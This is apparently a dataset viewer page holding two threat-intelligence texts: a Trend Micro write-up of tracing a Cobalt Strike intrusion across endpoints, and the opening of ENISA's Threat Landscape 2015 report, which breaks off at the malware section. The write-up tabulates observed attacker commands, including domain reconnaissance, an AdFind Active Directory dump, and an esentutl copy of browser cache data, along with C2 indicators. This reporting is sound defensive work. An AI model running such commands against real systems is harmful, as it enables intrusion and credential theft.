ctitools/neurocti-mistral-nemo-12b-orkl-instruct
Summarization
•
Updated
•
1
text
stringlengths 8
115k
|
---|
# Tracking Cobalt Strike: A Trend Micro Vision One Investigation
In late May, Trend Micro Managed XDR alerted a customer to a noteworthy Vision One alert on one of their endpoints. What followed was a deeper investigation that involved searching for other similarly infected endpoints and the confirmation of a Cobalt Strike detection. This blog will cover the tactics and steps we took during this investigation. The alert from one endpoint led to the collection of further evidence and clues that pointed to other infected endpoints, eventually revealing the root of the attack.
Cobalt Strike is a well-known beacon or post-exploitation tool that has been linked to ransomware families like Ryuk, DoppelPaymer, and Povlsomware. The Cobalt Strike variant used here follows its typical characteristics. However, this report focuses on the process of uncovering its tracks in order to fully contain and remove the malware.
## An overview of the investigation
We first uncovered several detections related to Cobalt Strike, accompanied by a machine learning detection later verified as IcedID. In such cases, the initial detections usually point to something big: the distribution of ransomware. In fact, we published a report on a similar case wherein we used Cobalt Strike to track a Conti ransomware campaign.
Before we delve into the details, we want to detail the process we followed in this investigation. It involved several interconnected steps that occurred simultaneously and repeatedly throughout the process. These steps are mainly:
- Creating an indicators of compromise (IOCs) list and observe for tactics, techniques, and procedures (TTPs) to check in the environment, which will be improved in the next items
- Checking the context of the generated alerts
- Examining the execution profile of the files related to the detection
- Collecting additional logs from the endpoint to correlate events
- Checking detections that occurred around the time range of the alerts
These steps allowed us to retrace the actions taken by the variant from a single endpoint and revealing the full extent and its origins.
It is important to note that we already provided the affected customer our initial response very early into the investigation, allowing them to start taking steps to contain the threat as we worked to fully reveal its extent.
## Initial detections, IOCs, and observed TTPs
As we had mentioned earlier, our investigation started when we noticed suspicious activity in one endpoint. For the purpose of this discussion, we shall label this endpoint as Endpoint-1, since this is where we encountered the first hints of an attack. We began our investigation from this endpoint to uncover the real entry point.
### Endpoint-1
Checking the alerts of Endpoint-1 revealed several important findings that sparked the investigation:
- AdFind.exe was downloaded in the Users\Public directory
- A Cobalt Strike detection occurred
- Mobsync.exe executed information gathering commands
First, let us narrow our focus on the suspicious process, mobsync.exe. Vision One’s Progressive RCA allowed us to pinpoint a possible infection vector that led to its execution. The process chain for Endpoint-1 started with a user executing a file named excel.exe, which then created a rundll32.exe. The rundll32.exe loaded a file named iroto.tio, leading to the execution of the aforementioned mobsync.exe, which is a legitimate MS tool hijacked via process hollowing.
Progressive RCA gave us the choice to expand the nodes to find additional indicators that might be useful to the investigation. In this case, we were interested in excel.exe, or the source; and mobsync.exe, which seemed like the final payload at that point.
Let us first turn our attention to the excel.exe, which we saw accessing two suspicious URLs: dharamdiwan[.]com and lenoirramosjr[.]com before proceeding to drop iroto.tio and loading the dropped file via rundll32.exe. Vision One’s Observed Attack Techniques (OAT) also showed the techniques used via excel.exe and its child processes, one of which is “MS Office Application Command Execution Via DDE.” Digging deeper in the Vision One console, we identified analysis-57909253.xlsx as the malicious XLS file that utilized DDE.
Going back to mobsync.exe revealed several other events. We summarize the activities done by this injected tool. It attempts a connection to the following IP addresses:
- 222[.]153[.]124[.]130
- 109[.]106[.]69[.]138
- 75[.]118[.]1[.]141
- 92[.]59[.]35[.]196
- 104[.]98[.]42[.]5
- 204[.]16[.]247[.]35 (madesecuritybusiness[.]com)
It also executed discovery/internal reconnaissance commands and spawned additional mobsync.exe processes.
| Date and Time (UTC) | Process |
|----------------------|---------|
| 5/26/2021 0:41 | whoami /all |
| 5/26/2021 0:41 | cmd /c set |
| 5/26/2021 0:41 | arp -a |
| 5/26/2021 0:41 | ipconfig /all |
| 5/26/2021 0:41 | net view /all |
| 5/26/2021 0:42 | nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs.[WORKGROUP] |
| 5/26/2021 0:42 | net share |
| 5/26/2021 0:42 | route print |
| 5/26/2021 0:42 | netstat -nao |
| 5/26/2021 0:42 | net localgroup |
| 5/26/2021 1:50 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 1:50 | C:\WINDOWS\system32\ping.exe -t 127.0.0.1 |
| 5/26/2021 1:58 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 1:58 | esentutl.exe /r V01 /l”C:\Users\[Endpoint-1-User]\AppData\Local\Microsoft\Windows\WebCache” /s”C:\Users\[ENDPOINT-1-USER]\AppData\Local\Microsoft\Windows\WebCache” /d”C:\Users\[ENDPOINT-1-USER]\AppData\Local\Microsoft\Windows\WebCache” |
| 5/26/2021 5:33 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 5:33 | C:\WINDOWS\system32\cmd.exe /C ping [ENDPOINT-4] |
We also identified Bloodhound and ADfind.exe hacking tools deployed in Endpoint-1. These tools can be used to extract information from the Active Directory.
| Date and Time (UTC) | Process |
|----------------------|---------|
| 5/26/2021 5:00 | C:\WINDOWS\system32\cmd.exe /C del 20210526145501_BloodHound.zip YmNhMTJiMzAtYTgxZi00ZWRmLWE2ZjctZTc3MDFiZGM2ODBj.bin |
| 5/26/2021 5:04 | C:\WINDOWS\system32\cmd.exe /C AdFind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName > [REDACTED].csv |
With Vision One and the Trend Micro Investigation Toolkit (TMIK), we were able to identify potential Pass-the-Hash (PtH) attacks that extract the password hash from the memory and then simply pass it through for authentication. If there are recent logins of high privilege accounts in the machine, then the password hash of these logins can be extracted by attackers to perform lateral movement to other networked systems. The event logs also showed a related entry for the PtH technique stating, “Found 4624 event logs with seclogo as process for ENDPOINT-1-USER.”
Aside from Endpoint-1, we also found several other endpoints where we identified Cobalt Strike detections. We specify another two here as they already contain the evidence, such as a list of IOCs and observed TTPs, that we needed to pinpoint “Patient Zero,” or the first machine to be infected by the malware.
### Endpoint-2
We will label another endpoint as Endpoint-2. Endpoint-2 is a machine that Vision One also alerted to have shown Cobalt Strike detection. Vision One’s Execution Profile for the file shows ntoskrnl.exe executing 49c4b8e.exe. This sequence of processes in the execution profile implies that the file was transferred via SMB, evidence of lateral movement which was stopped due to the detection.
## Hunting IOCs and TTPs
With all the findings from Endpoint-1 and Endpoint-2, we were able to observe for TTPs and create an IOC list that we can search across all the machines reporting to Vision One. This search was based on the following indicators:
- Filename and hashes of the detected files
- Suspicious behavior, such as excel.exe spawning rundll32.exe or mobsync.exe spawning cmd.exe
- Possible command and control (C&C) connections
- Compromised accounts used for lateral movement and are transferred files via SMB
- Detections that occurred around the time the alert occurred (commonly used time range is Last 7 days)
Searching the IOCs in the Vision One search app revealed several other machines related to this case. An example of such a machine is one that we labeled Endpoint-3. Similar to Endpoint-1, there were malware detections in the machine, where it blocked the execution of excel.exe that spawned rundll32.exe. There was also a machine learning detection related to the file iroto.tio. Finally, inspecting Workbench alerts showed an entry for Cobalt Strike.
Investigating Endpoint-3’s execution profile showed that the excel.exe process connected to the same suspicious domains that we mentioned earlier. It also created the file iroto.tio.
With a list of IOCs and TTPs we were able to look for other infected machines or endpoints and were also then capable of narrowing down Patient Zero.
## Locating Patient Zero
Since we know for sure that the threat started with an execution of excel.exe and the .xls file it opened, it is logical to assume that the attack started from an email attachment, which was the case here. The Vision One, Managed XDR team was able to eventually track down the entry point of this attack: a socially engineered spear phishing email sent to an internal user.
The threat actor made the email seem as if they were replying to an email the targeted user had sent them, thus making it appear as if they already had an existing conversation thread. They also used a forged sender email address so that the targeted user would think that the email came from a legitimate sender. The email contained a link to download a malicious archive file with the name of the targeted user.
Through Vision One, we were able to see that a few minutes after receiving the email, the targeted user forwarded the malicious email to another internal user. These results from Vision One matched with the email that Managed XDR had acquired, thus proving that the machine was Patient Zero and rounding out our investigation.
## Responding to the threat
The overall goal of the investigation was to get a full scope of the Cobalt Strike infection. This involved identifying the IOCs we can use to search for all the machines that were infected, as well as stopping the spread at the root.
All throughout the process we had been reporting to the affected customer, especially after the discovery of each of the affected endpoints. This is to quickly contain the spread of the malware variant. The response to this threat included the following, in no particular order:
- Isolation of affected endpoints as the investigation was being conducted
- Disabling/resetting the passwords of the user accounts that were used for lateral movement
- Collecting related artifacts to the threat and doing further analysis, which were also submitted for detection to improve coverage
- Blocking of domain/IP addresses related to the C&C of the threat
- Further monitoring of the environment to ensure that there’s no suspicious activity going on
Many of these steps were done simultaneous to the investigation, so as not to risk possible consequences and prevent the spread of the malware to other machines.
## Conclusion and recommendations
The result of the investigation demonstrated the importance of a multi-layered security approach in protecting the environment. This is crucial so that in case one layer of protection fails, another is present to keep the environment safe or at least limit the impact of an attack.
Prioritizing detections and combining different techniques can help in catching the threat and initiating a quick response. As this case reflects, preliminary security events should be taken seriously as they usually are the precursor to something bigger, such as breaches and ransomware attacks.
The investigation also highlights the incident response process for handling breaches and malicious activities. It emphasizes how threat response does not end upon the detection of a threat; an investigation is key to understanding a threat and preventing them from occurring again. Using acquired knowledge from previous attacks and boosting user awareness of common threats can improve the overall security posture of any environment. |
# ENISA Threat Landscape 2015
## About ENISA
The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private sector, and Europe’s citizens. ENISA works with these groups to develop advice and recommendations on good practice in information security. It assists EU member states in implementing relevant EU legislation and works to improve the resilience of Europe’s critical information infrastructure and networks. ENISA seeks to enhance existing expertise in EU member states by supporting the development of cross-border communities committed to improving network and information security throughout the EU.
## Authors
Louis Marinos (louis.marinos@enisa.europa.eu), ENISA, Adrian Belmonte, ENISA (contribution Attack Vectors and SDN), Evangelos Rekleitis, ENISA (contribution Big Data).
## Contact
For contacting the authors please use isdp@enisa.europa.eu. For media enquiries about this paper, please use press@enisa.europa.eu.
## Acknowledgements
The author would like to thank the members of the ENISA ETL Stakeholder group: Paolo Passeri, Consulting, UK; Pierluigi Paganini, Chief Security Information Officer, IT; Paul Samwel, Banking, NL; Tom Koehler, Consulting, DE; Stavros Lingris, CERT, EU; Jart Armin, Worldwide coalitions/Initiatives, International; Thomas Häberlen, Member State, DE; Neil Thacker, Consulting, UK; Margrete Raaum, CERT, NO; Shin Adachi, Security Analyst, US; R. Jane Ginn, Consulting, US; Lance James, Consulting, US; Polo Bais, Member State, NL. Moreover, we would like to thank CYjAX for granting access pro bono to its cyber risk intelligence portal providing information on cyber threats and cyber-crime. Thanks go to ENISA colleagues who contributed to this work by commenting drafts of the report. Special thanks to Jakub Radziulis, iTTi and his colleagues for the support in information analysis.
## Legal notice
Notice must be taken that this publication represents the views and interpretations of the authors and editors, unless stated otherwise. This publication should not be construed to be a legal action of ENISA or the ENISA bodies unless adopted pursuant to the Regulation (EU) No 526/2013. This publication does not necessarily represent state-of-the-art and ENISA may update it from time to time. Third-party sources are quoted as appropriate. ENISA is not responsible for the content of the external sources including external websites referenced in this publication. This publication is intended for information purposes only. It must be accessible free of charge. Neither ENISA nor any person acting on its behalf is responsible for the use that might be made of the information contained in this publication.
## Copyright Notice
© European Union Agency for Network and Information Security (ENISA), 2015. Reproduction is authorised provided the source is acknowledged.
## Executive Summary
For yet another year, the 2015 edition of the cyber-threat landscape features a number of unique observations, the main one being the smooth advancement of maturity. Cyber-space stakeholders have gone through varying degrees of further maturity. While the friendly agents – the good guys – have demonstrated increased cooperation and orchestrated reaction to cyber-threats, hostile agents – the bad guys – have advanced their malicious tools with obfuscation, stealthiness, and striking power.
On the defenders’ side, improvements have been achieved in coordinated campaigns to disturb operations of malicious infrastructures, strengthen the legal/governmental cyber-defence framework, and develop more efficient products. In particular:
- Performing orchestrated actions to take down malicious infrastructure but also to analyse incidents and improve attribution.
- Strengthening governmental awareness, cyber-defence expenses, capabilities, and level of cooperation among states.
- Performing exercises, development of threat intelligence, proliferation of information sharing, tools, and products to enhance awareness, preparedness, and efficiency of defence.
- Focusing on research and development to accommodate developments of the cyber-threat landscape to existing protection measures and methods and tools.
Adversaries have achieved considerable advances too. No Snowden or Heartbleed-like events have been reported. Instead, cyber-threats have undergone significant evolution, and significant breaches have covered front pages of media. Cyber-threat agents have had the tranquillity and resources to implement a series of advancements in malicious practices. In particular:
- Performing persistent attacks based on hardware, far below the “radar” of available defence tools and methods.
- Achieving enhancements in the provision of “cyber-crime-as-a-service”, tool developments for non-experts, and affiliate programmes.
- Highly efficient development of malware weaponization and automated tools to detect and exploit vulnerabilities.
- Campaigning with highly profitable malicious infrastructures and malware to breach data and hold end-user devices to ransom.
- Broadening of the attack surface to include routers, firmware, and the Internet of Things.
Details for all the above-mentioned points can be found in the ENISA Threat Landscape 2015 (ETL 2015). Top 15 cyber-threats together with threat trends, trends of threat agents, and trends for emerging technologies have been assessed and presented in this report. This material delivers evidence upon which the consequences for the development of cyber-defences can be based.
Lessons learned and conclusions summarise our experience from this year’s threat landscape and draw a roadmap with aspects that need to be addressed in the future by policy, businesses, and research. An overview hereof is as follows:
### Policy conclusions:
- Make threat intelligence collection, management, and sharing an inherent part of the national cyber-defence capabilities.
- Foster voluntary reporting and perform analysis of reported incidents and recycle results for better planning of defences.
- Disseminate cyber-threat knowledge to all players in cyber-space, including end-users.
### Business conclusions:
- Simplify content of threat intelligence to achieve wider uptake in the stakeholder community.
- Elaborate on threat agent models and make it an inherent part of threat intelligence.
- Create correlated, contextualized threat information to increase timespan of relevance.
- Continuously adapt protection and detection tools to the threats.
- Invest in better vulnerability management and exploitation of the dark web.
### Research conclusions:
- Develop applied statistic models to increase comparability of cyber-threat and incident information.
- Develop new models for seamlessly operated security controls to be included in complex, smart end-user environments.
- Develop trust models for the ad hoc interoperability of devices within smart environments.
Finally, regarding the overall highlights for the future cyber-threat landscapes, one should mention two overarching trends for defenders and adversaries respectively:
- The need for “Streamlining and consolidation” of existing policies, defences, and cooperation to accommodate changes in the threat landscape.
- Ongoing activities towards “Consumerization of cyber-crime”, that is, making malicious tools available to everybody.
## Top Threats 2014 vs. 2015
| Top Threats 2014 | Assessed Trends 2013 | Top Threats 2015 | Assessed Trends 2014 | Change in ranking |
|-------------------|----------------------|-------------------|----------------------|-------------------|
| 1. Malicious code: Worms/Trojans | ↑ | 1. Malware | ↑ | → |
| 2. Web-based attacks | ↑ | 2. Web based attacks | ↑ | → |
| 3. Web application/Injection attacks | ↑ | 3. Web application attacks | ↑ | → |
| 4. Botnets | ↓ | 4. Botnets | ↓ | → |
| 5. Denial of service | ↑ | 5. Denial of service | ↑ | → |
| 6. Spam | ↓ | 6. Physical damage/theft/loss | ↓ | ↑ |
| 7. Phishing | ↑ | 7. Insider threat (malicious, accidental) | ↑ | ↑ |
| 8. Exploit kits | ↓ | 8. Phishing | ↓ | ↓ |
| 9. Data breaches | ↑ | 9. Spam | ↓ | ↓ |
| 10. Physical damage/theft/loss | ↑ | 10. Exploit kits | ↑ | ↓ |
| 11. Insider threat | ↓ | 11. Data breaches | ↓ | ↓ |
| 12. Information leakage | ↑ | 12. Identity theft | ↑ | ↑ |
| 13. Identity theft/fraud | ↑ | 13. Information leakage | ↓ | ↓ |
| 14. Cyber espionage | ↑ | 14. Ransomware | ↑ | ↑ |
| 15. Ransomware/Rogueware/Scareware | ↓ | 15. Cyber espionage | ↓ | ↓ |
**Legend:**
Trends: ↓ Declining, → Stable, ↑ Increasing
Ranking: ↑ Going up, → Same, ↓ Going down
## 1. Introduction
This report, the ENISA Threat Landscape 2015 (ETL 2015), is the result of an analysis of cyber-threats that have been encountered in the last 12 months, approximately between December 2014 and December 2015. ETL 2015 is the fourth in a series of reports issued yearly by ENISA. It provides an analysis of the state and the dynamics of the cyber-threat environment: the Cyber-Threat Landscape.
Just as previous threat landscape reports, ETL 2015 is the result of a comprehensive threat analysis that is based mainly on open source intelligence. The analysis is followed by a collation of threat information. In this process, cyber-incidents, cyber-threats, cyber-attacks, etc. are put in context by means of correlated information. This is cyber-threat intelligence that is being created within ENISA: an amount of knowledge on the development of cyber-threats created on an annual basis.
ETL 2015 is a significant part of this knowledge captured in the form of a report. It contains the top 15 cyber-threats assessed in 2015, together with information on threat agents, attack vectors, and threat trends for a number of emerging technologies. The information presented is accompanied by references to all relevant resources found. Though non-exhaustive, ETL 2015 includes a critical mass of published material that allows underpinning the assumptions made. At the same time, the collected material is a tool for interested individuals who need to deepen in the details of a certain matter presented in this report.
In the reporting period, material found on cyber-threats has increased in quantity, quality, and focus. This is due to the continuous improvement achieved in the area of threat intelligence and is a result of the increased demand and efforts invested, both by public and private organisations. In a similar manner as in ETL 2014, in ETL 2015 we have processed approximately 380 resources. This number is rather representative for the search and analysis effort at ENISA than the available resources worldwide, which were apparently much higher.
Besides open source information, in this report ENISA has used information provided by the MISP platform, by CERT-EU, and by also using threat intelligence from the cyber-security portal CYjAX, provided by means of access pro bono to ENISA. Confidential information found in these platforms has just been taken into account in our analysis without any disclosure or reference to this material.
In comparison to previous ETLs, some minor changes have been made in the structure of this report. They regard the description part of current threats. In particular, for each cyber-threat described, we attach a list of indicative mitigation controls, referred to as mitigation vector. This was a requirement communicated to us by stakeholders. Secondly, in 2015 kill chain information of the top 15 threats has not been adopted as it is identical with ETL 2014. To find information here, interested readers would need to revisit ETL 2014.
Just as in previous years, ENISA has consulted the ETL Stakeholder group that accompanies the threat analysis work. The group has provided valuable input, has supported the ENISA event on threat analysis organised in 2015, and has reviewed ENISA material. Their support has definitely contributed to the quality of the material presented in this report.
## Policy context
The Cyber Security Strategy of the EU underscores the importance of threat analysis and emerging trends in cyber security. The ENISA Threat Landscape contributes towards the achievement of objectives formulated in this strategy, in particular by contributing to the identification of emerging trends in cyber threats and understanding the evolution of cyber-crime. Moreover, the new ENISA Regulation mentions the need to analyse current and emerging risks (and their components), stating: “the Agency, in cooperation with Member States and, as appropriate, with statistical bodies and others, collects relevant information”. In particular, under Art. 3, Tasks, d), iii), the new ENISA regulations state that ENISA should “enable effective responses to current and emerging network and information security risks and threats”. The ENISA Threat Landscape aims to make a significant contribution to the implementation of the EU Cyber Security Strategy by streamlining and consolidating available information on cyber-threats and their evolution.
## Target audience
Information in this report has mainly strategic and tactical relevance to cyber-threats and related information. Such information has long-term relevance of approximately up to one year. It is directed to executives, security architects, and security managers. Nonetheless, provided information is also easily consumable by non-experts.
Looking at the details provided by this report and ETL in general, one can discriminate among the following information types and target groups:
- The method part targets security professionals who may seek to find out how threat information relates to other topics of information security and information security management. Provided information may allow them to deepen in issues of threat intelligence, threat information collection, and threat information analysis and/or find ways in integrating it with other security management disciplines.
- The current threat landscape is a compilation of information about top cyber-threats. At the level of the threat description, generalists and decision makers can find non-technical information about the cyber threats. By going through details, issues assessed, and sources related to the text, interested individuals and security experts might find detailed technical information.
- A generic description of cyber-threat agents explains developments in this area. This information is good for all readers, decision makers, security experts, and non-experts.
- The emerging threat landscape contains information for a wide range of skills. The chapter targets mainly security managers and security architects who would like to understand the trends ahead. The information provided is also potentially useful for decision makers as decision support information.
Besides these roles in the ETL target group, details provided on methodology, threats, issues, threat agents, attack vectors, and trends are useful for risk managers. This kind of information is essential input to any risk assessment process.
Besides the information in this report, there are “side products” that might be interesting for a wide audience. On the occasion of the ENISA High Level Event, ENISA has produced a leaflet with a consolidated high-level description of issues that resulted from this year’s threat assessment. This material targets decision makers from both policy and business. Another product of the ETL process is the ENISA threat taxonomy, a hierarchy of threats used as a point of reference to classify collected and processed information about threats and in particular cyber-threats. Finally, in 2015 ENISA has produced two detailed threat assessments in two sectors. These thematic landscapes have been issued for Big Data and Software Defined Networks / 5G and are published as separate reports.
## Structure of the document
The structure of ETL 2015 is as follows:
- Chapter 2 “Purpose, Scope and Method” provides some information regarding the threat analysis process as it is being performed within the ETL 2015. Moreover, it refers to the information structures as used within our threat analysis and provides some information on used definitions.
- Chapter 3 “Top Cyber-Threats: The Current Threat Landscape” is the heart of the ETL 2015 as it contains the top 15 cyber-threats assessed in 2015. It provides detailed information on the threat with references to all relevant resources found, trends assessed, and mitigation vectors for each threat.
- Chapter 4 “Threat Agents” is an overview of threat agents with short profiles and references to developments that have been observed for every threat agent group in the reporting period.
- Chapter 5 “Attack Vectors” provides information on typical attack scenarios, steps, and deployed cyber-threats and is supposed to complement the presented material by giving some initial information on the “How” of a cyber-attack.
- Chapter 6 “The Emerging Threat Landscape” indicates assessed technology areas that will impact the threat landscapes in the middle-term. Ongoing developments in those areas will influence the ways attackers will try to achieve their aims, but also the way defences are going to be implemented.
- Chapter 7 “Food for thought: Lessons Learned and Conclusions” is a summary of interesting issues encountered within the threat analysis and provides the conclusions of this year’s ETL.
## 2. Purpose, Scope and Method
In 2015, threat analysis and threat intelligence have gone through an impressive breakthrough, whereas the details of various aspects, phases, and purposes/use cases have been analysed and documented. This has been done by means of various reports issued by various states, organisations, and vendors. Threat intelligence in general has been considered as one of the key technologies in cyber-security. These facts underline the importance of threat intelligence and in particular threat analysis in the context of management of cyber-security incidents. Following this trend, many services, products, and practices have entered the market. Threat intelligence services in various degrees of “width and depth” have shown up.
Though quite massively deployed, threat intelligence is still a new area and as such, products and market are at an early maturity stage: both vendors and customers do not have common perceptions on the topic and how it can be integrated as service or product into the daily businesses. Moreover, there is a “spread” in existing offerings with regard to the kind of delivered information and protection offered on the one hand and on the other hand the customer prerequisites (e.g. technical and organisational). Nonetheless, predictions foresee a great potential for the threat intelligence market, reaching some 5 billion $ in 2020.
Research and development in the area of threat intelligence advances too. In the reporting period, we have assessed the initiation of important programmes in the area of threat intelligence and dynamic risk management both in Europe and the US.
While research and vendors are working on the state-of-the-art in the area of threat intelligence/threat analysis, ENISA has undertaken next steps for the improvement of methods used. This effort has run in parallel to the information collection and analysis tasks and aimed at the development of available practices. In particular, ENISA efforts have been concentrated in the following areas:
- Identification of the data structures used in the threat analysis process and threat landscaping: A data model of the information household of the entire process of collection, analysis, and description of cyber-threats, both for ETL and ENISA Thematic Landscapes has been developed.
- Creation of a threat taxonomy: Through the information collection and analysis activities of the previous years at ENISA, a threat taxonomy has evolved. This taxonomy is a multi-tool that can be used in all phases of threat analysis.
- Initial identification of graphical support for the presentation of cyber-threat information: Graphical elements for the representation of cyber-threats are an important issue that is currently addressed by market players in the threat analysis.
Results achieved in these areas will be briefly discussed in the forthcoming chapters. This information might help readers to better understand the scope of ENISA’s work, while at the same time providing information about the ENISA method. Information about the method may help interested parties in introducing threat analysis in their organisations. Such information may be used in multiple ways, such as being the basis for requirements analysis; used for the evaluation of tools; used for the evaluation of services; taken as good practice for adjustments of own practices, etc.
### Data structures used in the threat analysis process and threat landscaping
The information used within ENISA for threat landscaping has been identified in 2015 and has been represented by means of a data model. This is an initial step in order to create a data household of the entire information managed within the ENISA work, both regarding ETL but also the Thematic Landscapes, i.e. detailed threat landscapes in selected areas/technologies.
Although some of the data concerned have been created and maintained as distinct entities in the past, the entire ETL model has not been described as a whole. Yet, the identified ETL data model is comprehensive and covers all information, from the collection to the final documentation. The data model in its current form has been created in 2015 in an ex-post manner.
Knowing maintained data structures has manifold purposes: i) it clarifies the context and the interdependencies of used information, ii) it helps in defining storage structures of the information (e.g. tables/relations), iii) it clarifies data structures that can be imported/exported, and iv) it helps in understanding how own data correspond to other approaches. All these four steps are essential in advancing the maturity of the used approach.
In order to assess the level of “coverage” between this data model and STIX - a data format that is being widely used for threat information - we have made a comparison at the level of data models. The detailed comparison can be found in Annex A. With this information at hand, the interfaces between ENISA’s data and data from other threat intelligence sources can be defined (i.e. input/output data).
Finally, regarding the quality of produced cyber-threat information, it has to be underlined that the ETL is geared more towards strategic threat intelligence with some tactical parts, while thematic landscapes contain more tactical information. In short, strategic and tactical threat information is as follows:
- Strategic information is used within forecasts of the threat landscape and emerging technological trends in order to prepare organisations by means of assessments, prospective measures, and security investments, as well as adaptation of existing cyber security strategies. It is created and consumed by humans and has a life span of some months (ca. one year).
- Tactical information consists of condensed information describing threats and their components, such as threat agents, threat trends, emerging trends for various technological areas, risks to various assets, risk mitigation practices, etc. This information is important for stakeholders engaged in maintenance of security controls. It is created by humans and machines and has a life span of weeks/months.
### Threat taxonomy
Threat taxonomy is a classification of threats. The purpose of such a taxonomy is to establish a point of reference for threats encountered, while providing a possibility to shuffle, arrange, and detail threat definitions. To this extent, a threat taxonomy is a living structure that is being used to maintain a consistent view on threats on the basis of collected information.
The current version of ENISA Threat Taxonomy (ETT) has been developed over the past years as an internal tool used in the collection and consolidation of threat information. When collecting information on various threats, it is very convenient to store similar things together. To this extent, a threat taxonomy has been generated. It is worth mentioning that the initial structure has been updated/consolidated with various sources of threat information. Most of the threat information included was from existing threat catalogues in the area of information security and in particular risk management.
As until now the ETT has been used for collection and consolidation of cyber-threat information, only the cyber-threat part of the taxonomy has been maintained and developed further. Although all information security threat areas are part of the ETT, those that are not related to cyber have not evolved over time.
In 2015, ENISA has created a consolidated version of these threats, has added some short descriptions to these threats, and has decided to make this material publicly available as a spreadsheet. The figure below shows this taxonomy in the form of a mind map, together with some symbols indicating its possible use cases.
### Graphical support
Graphical support of threat landscapes, threat information, and threat intelligence is an area that has very large potential. In the reporting period, we have seen various approaches to visualization of threats, as vendors try to provide more user-friendly access/navigation options to threat information. Besides visualisations of threats by means of web applications, we have seen interesting interactive graphical approaches appearing on online versions of threat reports that certainly provide better readability/animation to the content of threat reports.
Though no extensive assessment has been done regarding available visualization approaches of threat intelligence tools/portals/information services, it seems that there is a general trend towards visualization of threat intelligence.
An interesting approach to the visualization of security and threat intelligence based on open source intelligence is Sinfonier. Being developed for security intelligence, this approach provides graphical elements and mechanisms for collection, analysis, and sharing of related information. As such, it seems particularly appropriate for threat information.
In 2015, ENISA has made some prototyping with graphical representation of strategic and tactical threat information. The prototype was based on the graph database Neo4j and its basic visual user interface. This effort will be continued in 2016 with the objective to visualize ETL information, whereas other technical options for the run-time environment will also be investigated.
### Used definitions
The definitions used are identical to the ones of ETL 2014. In order to visualize the relationships among all elements of risks, we use a figure taken from ISO 15408:2005. This figure has a level of granularity that is sufficient to illustrate the main elements of threat and risk mentioned in this report. The entities “Owner”, “Countermeasures”, “Vulnerabilities”, “Risks”, and partially “Assets” are not taken into account in the ETL. They appear in the figure in order to show their context with regard to threats. The notion of attack vector is being displayed in this figure and is covered in the present report. One should note that the entities threat agent and threat presented in the figure are further detailed through the ETL data model presented above. This is quite natural as these entities make up the kernel of ETL.
As regards risks, we adopt the definition according to the widely accepted standard ISO 27005: “Threats abuse vulnerabilities of assets to generate harm for the organisation”. In more detailed terms, we consider risk as being composed of the following elements: Asset (Vulnerabilities, Controls), Threat (Threat Agent Profile, Likelihood), and Impact.
## 3. Top Cyber-Threats: The Current Threat Landscape
### Content and purpose of this chapter
In this chapter, the current threat landscape 2015 is presented. It consists of fifteen top cyber-threats, assessed during information collection and analysis activities. The current threat landscape covers information material that has been made publicly available in the time period November 2014 to November 2015. This time window is referred to as the reporting period in the present report. For the sake of clarity, it should be noted that the sources analysed in this chapter are the ones detected via the ENISA open source intelligence gathering process. While non-exhaustive, they are considered as representative of the threats and incidents encountered during this period.
Following the trend of previous years, the material found online has increased. In the reporting period, numerous focused publications in important cyber-threats have been found. Examples are: insider threat, denial of service, data breaches, and identity theft. At the same time, our team won the impression that the area of mobile computing had shown some stagnation regarding the level of coverage; some reports conclude that (fortunately) the mobile vector has not met expectations of cyber-security experts and did not seem to be the preferred attack vector to breach user data. Instead, the attention of cyber-security experts has been drawn to incidents in the area of the Internet of Things and attacks at cyber-physical interfaces. These are definitely upcoming areas of concern for the cyber-security community.
In this reporting period, the cyber-security community has developed a better focus on particular areas of cyber-threats. Moreover, cyber-threat information and intelligence appears to become commonly maintained knowledge, especially at the level of cyber-threat information collection and dissemination organisations, such as CERTS. This increase in focus and maturity is very beneficial for all parties in the assessment of cyber-threats. Following this maturity, we have seen dedicated products for the mitigation of the assessed cyber-threats to start appearing in the market, such as web application firewalls.
It is indeed very fortunate to see threat analysis and assessment efforts converging with product development, thus leading to a robust, demand-driven market. This is one of the most interesting and positive observations in the reporting period: efforts invested in cyber-threat analysis and cyber-threat intelligence have led to interesting, well-shaped service and product offerings in the cyber-security market. This is a shift from a vendor-driven market to a demand-driven one. It remains to be seen how the market will further evolve and how it will accommodate the dynamics of the cyber-threat landscape.
As was the case in previous versions of the ETL, the threat prioritisation has been performed mainly by means of a combination of frequency of appearance/reference and number of incidents (i.e. “efficiency” of the threat). In some cases, for example, threats that were decreasing ranked higher or kept their position. This means that a higher efficiency of attacks based on this threat has been reported (e.g. botnets). In the reporting period, we have seen some reports classifying incidents according to impact and sector. This is a very useful classification that should be used by more vendors, as it covers aspects of incidents that are important for decision making within various sectors (i.e. caused costs and consequences).
The ETL 2015 has been developed without any particular business or infrastructure scenario in mind. As such, when used within a particular business environment, it is necessary to put ETL information in the context of that business area. Usually, this should be done by assessing the importance of business, as well as human and IT assets of the organisation. Based on this information, a risk assessment will provide evidence for the threat exposure of the assets at stake, hence allowing for a prioritization of the threats according to the environment of that business area. The cyber-threats discussed below serve as input to such a prioritisation.
The description of cyber threats consists of i) a short text explaining the whereabouts of the threat, ii) a list of findings, iii) the trend observed in the reporting period, iv) other related threats that are used in combination with a threat, and v) a list of authoritative resources. In an attempt to keep the size of this report moderate, in this year’s report the kill-chain information of each threat has not been included. It is identical to the previous year’s ETL. The description of each cyber-threat is followed by a short, indicative list of mitigation options. This list comprises an initial collection of controls, whose implementation would mitigate the threat, that is, reduce the exposure to the threat. This addition has been done after requirements communicated to ENISA by the reader community of ETL. In future ETL versions, this type of information might be more extensive.
This chapter is concluded by a visualized comparison between the current threat landscapes of the ETL 2014 and the ETL 2015. This will help readers to easily understand the changes of the current threat landscape in this time period.
### Malware
